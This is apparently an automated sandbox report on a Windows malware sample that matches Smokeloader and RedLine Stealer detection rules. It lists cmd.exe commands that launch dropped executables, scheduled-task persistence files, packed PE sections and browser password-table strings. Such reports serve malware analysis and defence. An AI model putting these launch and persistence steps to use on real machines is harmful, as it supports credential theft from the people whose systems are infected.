Source: 7bfd2dfdc1.exe, 00000019.00000002.3389981692.00000000007F2000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_2ae4265f-8

PE file contains section with special chars

Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: section name:
Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: section name: .idata
Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: section name:
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: section name:
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: section name: .idata
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: .idata
Source: explorti.exe.6.dr	Static PE information: section name:
Source: axplong.exe.9.dr	Static PE information: section name:
Source: axplong.exe.9.dr	Static PE information: section name: .idata
Source: axplong.exe.9.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA6B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CA6B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CA6B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA0F280

Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe	File created: C:\Windows\Tasks\explorti.job			Jump to behavior
Source: C:\Users\userIJKFHIIEHI.exe	File created: C:\Windows\Tasks\axplong.job			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA035A0	0_2_6CA035A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA634A0	0_2_6CA634A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6C4A0	0_2_6CA6C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA16C80	0_2_6CA16C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0D4E0	0_2_6CA0D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA46CF0	0_2_6CA46CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA164C0	0_2_6CA164C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2D4D0	0_2_6CA2D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7542B	0_2_6CA7542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7AC00	0_2_6CA7AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA45C10	0_2_6CA45C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA52C10	0_2_6CA52C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA15440	0_2_6CA15440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7545C	0_2_6CA7545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA685F0	0_2_6CA685F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA40DD0	0_2_6CA40DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1FD00	0_2_6CA1FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA30512	0_2_6CA30512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2ED10	0_2_6CA2ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA64EA0	0_2_6CA64EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6E680	0_2_6CA6E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA25E90	0_2_6CA25E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA776E3	0_2_6CA776E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0BEF0	0_2_6CA0BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1FEF0	0_2_6CA1FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA69E30	0_2_6CA69E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA55600	0_2_6CA55600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA47E10	0_2_6CA47E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76E63	0_2_6CA76E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0C670	0_2_6CA0C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA24640	0_2_6CA24640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA52E4E	0_2_6CA52E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA29E50	0_2_6CA29E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA43E50	0_2_6CA43E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA577A0	0_2_6CA577A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0DFE0	0_2_6CA0DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA36FF0	0_2_6CA36FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA19F00	0_2_6CA19F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA47710	0_2_6CA47710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA360A0	0_2_6CA360A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2C0E0	0_2_6CA2C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA458E0	0_2_6CA458E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA750C7	0_2_6CA750C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4B820	0_2_6CA4B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA54820	0_2_6CA54820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA17810	0_2_6CA17810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4F070	0_2_6CA4F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA28850	0_2_6CA28850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2D850	0_2_6CA2D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0C9A0	0_2_6CA0C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA3D9B0	0_2_6CA3D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA45190	0_2_6CA45190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA62990	0_2_6CA62990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1D960	0_2_6CA1D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5B970	0_2_6CA5B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7B170	0_2_6CA7B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2A940	0_2_6CA2A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA022A0	0_2_6CA022A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA34AA0	0_2_6CA34AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1CAB0	0_2_6CA1CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA72AB0	0_2_6CA72AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7BA90	0_2_6CA7BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA21AF0	0_2_6CA21AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4E2F0	0_2_6CA4E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA48AC0	0_2_6CA48AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA49A60	0_2_6CA49A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0F380	0_2_6CA0F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA753C8	0_2_6CA753C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4D320	0_2_6CA4D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1C370	0_2_6CA1C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA05340	0_2_6CA05340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0ECD0	0_2_6CB0ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAECC0	0_2_6CAAECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8AC30	0_2_6CB8AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB76C00	0_2_6CB76C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABAC60	0_2_6CABAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3CDC0	0_2_6CC3CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB4DB0	0_2_6CAB4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46D90	0_2_6CB46D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7ED70	0_2_6CB7ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC38D20	0_2_6CC38D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDAD50	0_2_6CBDAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB36E90	0_2_6CB36E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABAEC0	0_2_6CABAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB50EC0	0_2_6CB50EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB90E20	0_2_6CB90E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4EE70	0_2_6CB4EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF8FB0	0_2_6CBF8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABEFB0	0_2_6CABEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8EFF0	0_2_6CB8EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB0FE0	0_2_6CAB0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF0F20	0_2_6CBF0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB6F10	0_2_6CAB6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB72F70	0_2_6CB72F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1EF40	0_2_6CB1EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB68E0	0_2_6CBB68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB00820	0_2_6CB00820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3A820	0_2_6CB3A820

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00404610 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CC309D0 appears 32 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA494D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA3CBE8 appears 134 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 2344

Source: file.exe, 00000000.00000000.2123631939.000000000244C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesOdilesigo@ vs file.exe
Source: file.exe, 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2420389215.000000006CC85000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000010.00000002.2480807062.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000021.00000002.2782304254.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000021.00000002.2782901057.0000000002661000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2386180020.000000000255E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.2479133674.000000000254E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2390137183.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000015.00000002.2608635245.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000015.00000002.2608393672.00000000026C1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: random[1].exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9994930413251366
Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: Section: nvdlapfi ZLIB complexity 0.994298210670366
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9975306539509536
Source: userIJKFHIIEHI.exe.0.dr	Static PE information: Section: yhecmkmx ZLIB complexity 0.994455346563981
Source: explorti.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9994930413251366
Source: explorti.exe.6.dr	Static PE information: Section: nvdlapfi ZLIB complexity 0.994298210670366
Source: axplong.exe.9.dr	Static PE information: Section: ZLIB complexity 0.9975306539509536
Source: axplong.exe.9.dr	Static PE information: Section: yhecmkmx ZLIB complexity 0.994455346563981

Source: explorti.exe.6.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: RoamingKJEGDBKFIJ.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@46/53@59/10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA67030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CA67030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004190A0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\2PPMBT2Z.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3080:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7596
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6880
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess352
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1016:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7856

Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe

File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.2212018409.0000000022A03000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199752509.00000000229E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2419726196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2404705989.000000001CA63000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

Virustotal: Detection: 44%

Source: RoamingKJEGDBKFIJ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: userIJKFHIIEHI.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe "C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIJKFHIIEHI.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userIJKFHIIEHI.exe "C:\Users\userIJKFHIIEHI.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6880 -s 2344
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
